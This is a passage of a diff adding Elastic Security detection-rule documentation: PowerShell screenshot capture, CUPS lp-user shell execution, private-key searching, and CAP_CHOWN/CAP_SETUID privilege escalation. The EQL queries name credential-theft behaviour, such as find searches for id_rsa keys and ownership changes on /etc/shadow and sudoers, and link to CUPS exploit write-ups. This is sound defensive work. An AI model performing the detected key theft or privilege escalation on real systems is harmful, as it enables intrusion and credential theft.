Focus: the matching process start event via `process.pid` and `host.id`, recovering `process.command_line`, `process.parent.executable`, `process.parent.command_line`, and `process.Ext.session_info.logon_type`. !{investigate{"description":"","label":"Process events for the PowerShell instance","providers":[[{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: if the process event cannot be found, keep later file and network review bounded to the same host and alert time. + - Implication: supports unauthorized use when the process runs from user-writable paths, inherits an unusual parent, or lands in an unexpected session type. + +- Does the user-host pattern fit a recognized support, accessibility, or QA workflow? + - Focus: the `user.id` and `host.id` pairing, the recovered `process.parent.executable`, and any prior alert recurrence for the same pairing and launcher. + - Hint: if workflow documentation is unavailable, require the same pairing and launcher to recur across prior alerts. + - Implication: escalate when the user-host pair has no recurring support or QA pattern, the launcher is new, or the host is used for privileged sessions. + +- Do file events show screenshot output, staging artifacts, or suspicious script provenance? + - Focus: file events for the same `process.entity_id`, with attention to `file.path`, `file.Ext.header_bytes`, `file.origin_url` or `file.Ext.windows.zone_identifier`, and later reuse of a written path as `process.executable`. + - Implication: staging is more likely when the script arrives from download locations, writes screenshots to user-writable paths, or produces files that later execute. + +- Do network events show transfer of captured images or related staging activity? + - Focus: network events for the same `process.entity_id`, separating DNS `lookup_result` events (`dns.question.name`, `dns.resolved_ip`) from connection events (`destination.ip`, `destination.port`). + - Implication: delivery risk increases when the process reaches rare external infrastructure, remote storage, or destinations named in the script. Missing network telemetry is unresolved, not benign. + +- Does the host or session context suggest privileged or sensitive on-screen data could have been exposed? + - Why: the same capture script is far more consequential on admin workstations, jump hosts, or finance endpoints than on a lab box used for UI testing. + - Focus: the recovered `process.Ext.session_info.logon_type` and the `user.id`/`host.id` pairing. For remote sessions, bridge `process.Ext.authentication_id` to authentication events for `source.ip`; if unavailable, treat origin as unresolved. + - Implication: raise urgency when the visible desktop likely contained credentials, privileged consoles, or finance data. + +- If the local evidence stays suspicious, do related alerts suggest broader compromise? + - Focus: related alerts for the same `user.id` and `host.id` in the last 48 hours to spot recurrence across hosts or same-host staging, archive helpers, or alternate capture routines. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden when the same user repeats screenshot capture across hosts or the host shows precursor access or alternate capture routines; keep narrow when both views stay confined to one recognized launcher. + +- Escalate when capture scope, launch context, artifacts, network, or session sensitivity align on unauthorized screen collection; close only when all evidence supports a recognized benign workflow; if mixed or incomplete, preserve and escalate. + + +*False positive analysis* + + +- Support, QA, accessibility, or testing workflows can legitimately trigger this rule. Confirm by matching the same `process.executable`, signer, and `host.id` pattern across prior alerts or against workflow records. +- Before creating an exception, validate that the same `user.id`, `host.id`, `file.path`, and a stable `powershell.file.script_block_text` substring recur across prior alerts. Avoid exceptions on screenshot-related strings alone, `user.name` alone, or the host alone. + + +*Response and remediation* + + +- If confirmed benign, reverse any temporary containment and document the confirmed workflow evidence: the stable user-host pairing, recovered launch chain, and bounded internal capture or transfer path. Create an exception only if the same user, host, and launch context recur consistently across prior alerts from this rule. +- If suspicious but unconfirmed, preserve the reconstructed script content, recovered `process.entity_id`, written `file.path` artifacts, and any `dns.question.name` or `destination.ip` values linked to transfer. Apply reversible containment such as temporary egress restrictions or tighter monitoring on the exposed session. Escalate to host isolation only when capture, staging, or transfer evidence is strong and the host role can tolerate it. Avoid destructive cleanup until scope is clearer. +- If confirmed malicious, document the recovered `process.entity_id`, `process.command_line`, `process.parent.executable`, written `file.path` artifacts, and any confirmed `dns.question.name` or `destination.ip` values before initiating response actions. Use available endpoint response integrations to isolate the host and contain the affected account when capture scope, launch chain, artifacts, or delivery evidence shows unauthorized screen collection or transfer. If direct endpoint response is unavailable, escalate with the documented artifacts to the team that can act. +- If linked `dns.question.name`, `destination.ip`, or transfer artifacts confirm screenshot delivery or staging, block the confirmed destination, channel, or automation path before cleanup and preserve any related cloud, messaging, or remote-storage identifiers needed for follow-on scoping. +- If screenshots may have captured credentials, privileged sessions, or other sensitive on-screen data, follow the incident process for credential reset and access review for the exposed accounts or sessions, and review post-alert access from the same host or user for follow-on misuse. +- After containment, review related users and hosts for the same `powershell.file.script_block_text` content, `file.path` pattern, or `dns.question.name` destinations before eradicating. Remove confirmed staged scripts, screenshot artifacts, and transfer helpers. Restrict the execution path, such as tightening PowerShell execution policies or script-path allowlists. +- Retain PowerShell script block logging and related endpoint telemetry so the case remains auditable. + + +==== Setup + + + +*Setup* + + +PowerShell Script Block Logging must be enabled to generate the events used by this rule (e.g., 4104). +Setup instructions: https://ela.st/powershell-logging-setup + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:windows and + powershell.file.script_block_text : ( + CopyFromScreen and + ("System.Drawing.Bitmap" or "Drawing.Bitmap") + ) and not user.id : "S-1-5-18" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Screen Capture +** ID: T1113 +** Reference URL: https://attack.mitre.org/techniques/T1113/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-printer-user-lp-shell-execution.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-printer-user-lp-shell-execution.asciidoc new file mode 100644 index 0000000000..b5122ae952 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-printer-user-lp-shell-execution.asciidoc @@ -0,0 +1,197 @@ +[[prebuilt-rule-8-19-34-printer-user-lp-shell-execution]] +=== Printer User (lp) Shell Execution + +This detection rule addresses multiple vulnerabilities in the CUPS printing system, including CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, and CVE-2024-47177. Specifically, this rule detects shell executions from the foomatic-rip parent process through the default printer user (lp). These flaws impact components like cups-browsed, libcupsfilters, libppd, and foomatic-rip, allowing remote unauthenticated attackers to manipulate IPP URLs or inject malicious data through crafted UDP packets or network spoofing. This can result in arbitrary command execution when a print job is initiated. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/cups-overflow +* https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/ +* https://gist.github.com/stong/c8847ef27910ae344a7b5408d9840ee1 +* https://github.com/RickdeJager/cupshax/blob/main/cupshax.py + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Use Case: Vulnerability +* Tactic: Execution +* Data Source: Crowdstrike +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: Vulnerability Exploit +* Rule Type: Event Correlation (EQL) +* Platform: Linux +* Vuln: CVE-2024-47076 +* Vuln: CVE-2024-47175 +* Vuln: CVE-2024-47176 +* Vuln: CVE-2024-47177 + +*Version*: 11 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Printer User (lp) Shell Execution* + + +This rule identifies potential exploitation attempts of several vulnerabilities in the CUPS printing system (CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, CVE-2024-47177). These vulnerabilities allow attackers to send crafted IPP requests or manipulate UDP packets to execute arbitrary commands or modify printer configurations. Attackers can exploit these flaws to inject malicious data, leading to Remote Code Execution (RCE) on affected systems. + + +*Possible Investigation Steps* + + +- Investigate the incoming IPP requests or UDP packets targeting port 631. +- Examine the printer configurations on the system to determine if any unauthorized printers or URLs have been added. +- Investigate the process tree to check if any unexpected processes were triggered as a result of IPP activity. Review the executable files for legitimacy. +- Check for additional alerts related to the compromised system or user within the last 48 hours. +- Investigate network traffic logs for suspicious outbound connections to unrecognized domains or IP addresses. +- Check if any of the contacted domains or addresses are newly registered or have a suspicious reputation. +- Retrieve any scripts or executables dropped by the attack for further analysis in a private sandbox environment: +- Analyze potential malicious activity, including: + - Attempts to communicate with external servers. + - File access or creation of unauthorized executables. + - Cron jobs, services, or other persistence mechanisms. + + +*Related Rules* + +- Cupsd or Foomatic-rip Shell Execution - 476267ff-e44f-476e-99c1-04c78cb3769d +- Network Connection by Cups or Foomatic-rip Child - e80ee207-9505-49ab-8ca8-bc57d80e2cab +- File Creation by Cups or Foomatic-rip Child - b9b14be7-b7f4-4367-9934-81f07d2f63c4 +- Suspicious Execution from Foomatic-rip or Cupsd Parent - 986361cd-3dac-47fe-afa1-5c5dd89f2fb4 + + +*False Positive Analysis* + + +- This activity is rarely legitimate. However, verify the context to rule out non-malicious printer configuration changes or legitimate IPP requests. + + +*Response and Remediation* + + +- Initiate the incident response process based on the triage outcome. +- Isolate the compromised host to prevent further exploitation. +- If the investigation confirms malicious activity, search the environment for additional compromised hosts. +- Implement network segmentation or restrictions to contain the attack. +- Stop suspicious processes or services tied to CUPS exploitation. +- Block identified Indicators of Compromise (IoCs), including IP addresses, domains, or hashes of involved files. +- Review compromised systems for backdoors, such as reverse shells or persistence mechanisms like cron jobs. +- Investigate potential credential exposure on compromised systems and reset passwords for any affected accounts. +- Restore the original printer configurations or uninstall unauthorized printer entries. +- Perform a thorough antimalware scan to identify any lingering threats or artifacts from the attack. +- Investigate how the attacker gained initial access and address any weaknesses to prevent future exploitation. +- Use insights from the incident to improve detection and response times in future incidents (MTTD and MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and + event.action in ("exec", "exec_event", "ProcessRollup2", "ProcessRollup2") and user.name == "lp" and + process.parent.name in ("cupsd", "foomatic-rip", "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and + process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and not ( + process.command_line like ( + "*/tmp/foomatic-*", "*-sDEVICE=ps2write*", "*printf*", "/bin/sh -e -c cat", "/bin/bash -c cat", + "/bin/bash -e -c cat" + ) or + process.args like ("gs*", "/usr/bin/lsb_release", "/usr/lib/cups/filter/gstopdf") + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Technique: +** Name: Exploitation for Client Execution +** ID: T1203 +** Reference URL: https://attack.mitre.org/techniques/T1203/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-private-key-searching-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-private-key-searching-activity.asciidoc new file mode 100644 index 0000000000..f210a7f3fc --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-private-key-searching-activity.asciidoc @@ -0,0 +1,179 @@ +[[prebuilt-rule-8-19-34-private-key-searching-activity]] +=== Private Key Searching Activity + +This rule detects private key searching activity on Linux systems. Searching for private keys can be an indication of an attacker attempting to escalate privileges or exfiltrate sensitive information. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* logs-auditd_manager.auditd-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Discovery +* Tactic: Credential Access +* Data Source: Auditd Manager +* Data Source: Elastic Defend +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Private Key Searching Activity* + + +In Linux environments, private keys are crucial for secure communications and authentication. Adversaries may exploit this by searching for private keys to gain unauthorized access or escalate privileges. The detection rule identifies suspicious use of the 'find' command targeting key files in sensitive directories, signaling potential malicious intent. This proactive monitoring helps mitigate risks associated with unauthorized key access. + + +*Possible investigation steps* + + +- Review the process details to confirm the 'find' command was executed with parameters targeting private key files, as indicated by the command line containing patterns like "*id_dsa*", "*id_rsa*", etc., and directories such as "/home/", "/etc/ssh", or "/root/". +- Identify the user account associated with the process to determine if the activity aligns with expected behavior for that user or if it suggests potential compromise. +- Check the process's parent process to understand the context in which the 'find' command was executed, which may provide insights into whether this was part of a legitimate script or an unauthorized action. +- Investigate any recent login activity or changes in user privileges for the account involved to assess if there has been any unauthorized access or privilege escalation. +- Examine system logs and other security alerts around the time of the event to identify any correlated suspicious activities or anomalies that might indicate a broader attack campaign. + + +*False positive analysis* + + +- System administrators or automated scripts may use the 'find' command to locate private keys for legitimate maintenance tasks. To handle this, create exceptions for known administrative accounts or scripts that regularly perform these actions. +- Backup processes might search for private keys as part of routine data protection activities. Identify and exclude these processes by specifying their unique command-line patterns or process IDs. +- Security audits or compliance checks often involve scanning for private keys to ensure proper security measures are in place. Exclude these activities by recognizing the specific tools or scripts used during audits. +- Developers or DevOps teams may search for private keys during application deployment or configuration. Establish a list of trusted users or processes involved in these operations and exclude them from triggering alerts. +- Automated configuration management tools like Ansible or Puppet might search for keys as part of their operations. Identify these tools and exclude their specific command-line patterns to prevent false positives. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious processes identified by the detection rule, particularly those involving the 'find' command searching for private keys. +- Conduct a thorough review of access logs and process execution history to identify any unauthorized access or privilege escalation attempts. +- Change all potentially compromised private keys and associated credentials, ensuring new keys are securely generated and stored. +- Implement stricter access controls and permissions on directories containing private keys to limit exposure to unauthorized users. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected. +- Enhance monitoring and alerting for similar activities by ensuring that detection rules are tuned to capture variations of the 'find' command targeting sensitive files. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2", "process_started", "executed") and +process.name == "find" and +process.command_line like ("*id_dsa*", "*id_rsa*", "*id_ed*", "*id_ecdsa*", "*id_xmss*", "*id_dh*") and +process.command_line like ("*/home/*", "*/etc/ssh*", "*/root/*", "/") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: File and Directory Discovery +** ID: T1083 +** Reference URL: https://attack.mitre.org/techniques/T1083/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Credentials In Files +** ID: T1552.001 +** Reference URL: https://attack.mitre.org/techniques/T1552/001/ +* Sub-technique: +** Name: Private Keys +** ID: T1552.004 +** Reference URL: https://attack.mitre.org/techniques/T1552/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-privilege-escalation-via-cap-chown-cap-fowner-capabilities.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-privilege-escalation-via-cap-chown-cap-fowner-capabilities.asciidoc new file mode 100644 index 0000000000..b104350270 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-privilege-escalation-via-cap-chown-cap-fowner-capabilities.asciidoc @@ -0,0 +1,181 @@ +[[prebuilt-rule-8-19-34-privilege-escalation-via-cap-chown-cap-fowner-capabilities]] +=== Privilege Escalation via CAP_CHOWN/CAP_FOWNER Capabilities + +Identifies instances where a processes (granted CAP_CHOWN and/or CAP_FOWNER capabilities) is executed, after which the ownership of a suspicious file or binary is changed. In Linux, the CAP_CHOWN capability allows a process to change the owner of a file, while CAP_FOWNER permits it to bypass permission checks on operations that require file ownership (like reading, writing, and executing). Attackers may abuse these capabilities to obtain unauthorized access to files. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* logs-auditd_manager.auditd-* +* logs-endpoint.events.file* +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Data Source: Auditd Manager +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Privilege Escalation via CAP_CHOWN/CAP_FOWNER Capabilities* + + +In Linux, CAP_CHOWN and CAP_FOWNER are capabilities that allow processes to change file ownership and bypass file permission checks, respectively. Adversaries exploit these to gain unauthorized access to sensitive files, such as password or configuration files. The detection rule identifies suspicious processes with these capabilities that alter ownership of critical files, signaling potential privilege escalation attempts. + + +*Possible investigation steps* + + +- Review the process details, including process.name and process.command_line, to understand the context of the executed process and its intended function. +- Check the user.id associated with the process to determine if the process was executed by a non-root user, which could indicate unauthorized privilege escalation attempts. +- Investigate the file.path that had its ownership changed to assess the potential impact, focusing on critical files like /etc/passwd, /etc/shadow, /etc/sudoers, and /root/.ssh/*. +- Analyze the sequence of events by examining the host.id and process.pid to identify any related processes or activities that occurred within the maxspan=1s timeframe. +- Correlate the event with other logs or alerts from the same host to identify any patterns or additional suspicious activities that might indicate a broader attack or compromise. + + +*False positive analysis* + + +- System administration scripts or automated processes may legitimately use CAP_CHOWN or CAP_FOWNER capabilities to manage file permissions or ownership. Review and whitelist these processes if they are verified as non-malicious. +- Backup or restoration operations often require changing file ownership and permissions. Identify and exclude these operations from triggering alerts by specifying known backup tools or scripts. +- Software installation or update processes might alter file ownership as part of their normal operation. Monitor and exclude these processes if they are part of a trusted software management system. +- Development or testing environments may have scripts that modify file ownership for testing purposes. Ensure these environments are properly segmented and exclude known development scripts from detection. +- Custom user scripts that require elevated permissions for legitimate tasks should be reviewed and, if deemed safe, added to an exception list to prevent false positives. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious processes identified with CAP_CHOWN or CAP_FOWNER capabilities that are altering file ownership, especially those targeting critical files like /etc/passwd or /etc/shadow. +- Revert any unauthorized changes to file ownership or permissions on critical files to their original state to restore system integrity. +- Conduct a thorough review of user accounts and privileges on the affected system to identify and disable any unauthorized accounts or privilege escalations. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are compromised. +- Implement additional monitoring on the affected host and similar systems to detect any further attempts to exploit CAP_CHOWN or CAP_FOWNER capabilities. +- Review and update security policies and configurations to restrict the assignment of CAP_CHOWN and CAP_FOWNER capabilities to only trusted and necessary processes. + +==== Setup + + + +*Setup* + + + +This rule requires data coming in from Auditd Manager. + + +*Auditd Manager Integration Setup* + +The Auditd Manager Integration receives audit events from the Linux Audit Framework which is a part of the Linux kernel. +Auditd Manager provides a user-friendly interface and automation capabilities for configuring and monitoring system auditing through the auditd daemon. With `auditd_manager`, administrators can easily define audit rules, track system events, and generate comprehensive audit reports, improving overall security and compliance in the system. + + +*The following steps should be executed in order to add the Elastic Agent System integration "auditd_manager" on a Linux System:* + +- Go to the Kibana home page and click “Add integrations”. +- In the query bar, search for “Auditd Manager” and select the integration to see more details about it. +- Click “Add Auditd Manager”. +- Configure the integration name and optionally add a description. +- Review optional and advanced settings accordingly. +- Add the newly installed “auditd manager” to an existing or a new agent policy, and deploy the agent on a Linux system from which auditd log files are desirable. +- Click “Save and Continue”. +- For more details on the integration refer to the https://docs.elastic.co/integrations/auditd_manager[helper guide]. + + +*Rule Specific Setup Note* + +Auditd Manager subscribes to the kernel and receives events as they occur without any additional configuration. +However, if more advanced configuration is required to detect specific behavior, audit rules can be added to the integration in either the "audit rules" configuration box or the "auditd rule files" box by specifying a file to read the audit rules from. +- For this detection rule the following additional audit rules are required to be added to the integration: + -- "-w /etc/ -p rwxa -k audit_recursive_etc" + -- "-w /root/ -p rwxa -k audit_root" + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, process.pid with maxspan=1s + [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and + process.name != null and process.thread.capabilities.effective : ("CAP_CHOWN", "CAP_FOWNER") and + process.command_line : ("*sudoers*", "*passwd*", "*shadow*", "*/root/*") and user.id != "0"] + [file where host.os.type == "linux" and event.action == "changed-file-ownership-of" and event.type == "change" and + event.outcome == "success" and file.path in ( + "/etc/passwd", + "/etc/shadow", + "/etc/sudoers", + "/root/.ssh/*" + ) and user.id != "0" + ] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: File and Directory Permissions Modification +** ID: T1222 +** Reference URL: https://attack.mitre.org/techniques/T1222/ +* Sub-technique: +** Name: Linux and Mac File and Directory Permissions Modification +** ID: T1222.002 +** Reference URL: https://attack.mitre.org/techniques/T1222/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-privilege-escalation-via-cap-setuid-setgid-capabilities.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-privilege-escalation-via-cap-setuid-setgid-capabilities.asciidoc new file mode 100644 index 0000000000..eb41c61bff --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-privilege-escalation-via-cap-setuid-setgid-capabilities.asciidoc @@ -0,0 +1,200 @@ +[[prebuilt-rule-8-19-34-privilege-escalation-via-cap-setuid-setgid-capabilities]] +=== Privilege Escalation via CAP_SETUID/SETGID Capabilities + +Identifies instances where a process (granted CAP_SETUID and/or CAP_SETGID capabilities) is executed, after which the user's access is elevated to UID/GID 0 (root). In Linux, the CAP_SETUID and CAP_SETGID capabilities allow a process to change its UID and GID, respectively, providing control over user and group identity management. Attackers may leverage a misconfiguration for exploitation in order to escalate their privileges to root. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 12 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Privilege Escalation via CAP_SETUID/SETGID Capabilities* + + +In Linux, CAP_SETUID and CAP_SETGID capabilities allow processes to change user and group IDs, crucial for identity management. Adversaries exploit misconfigurations to gain root access. The detection rule identifies processes with these capabilities that elevate privileges to root, excluding benign scenarios, to flag potential misuse. + + +*Possible investigation steps* + + +- Review the process details such as process.name and process.executable to identify the specific application or script that triggered the alert. This can help determine if the process is expected or potentially malicious. +- Examine the process.parent.executable and process.parent.name fields to understand the parent process that initiated the suspicious process. This can provide context on whether the parent process is legitimate or part of a known attack vector. +- Check the user.id field to confirm the user context under which the process was executed. If the user is not expected to have elevated privileges, this could indicate a potential compromise. +- Investigate the process.command_line to analyze the command executed. Look for any unusual or unexpected command patterns that could suggest malicious intent. +- Correlate the alert with other security events or logs from the same host.id to identify any related suspicious activities or patterns that could indicate a broader attack. +- Assess the environment for any recent changes or misconfigurations that could have inadvertently granted CAP_SETUID or CAP_SETGID capabilities to unauthorized processes. + + +*False positive analysis* + + +- Processes related to system management tools like VMware, SolarWinds, and language tools may trigger false positives. Exclude these by adding their executables to the 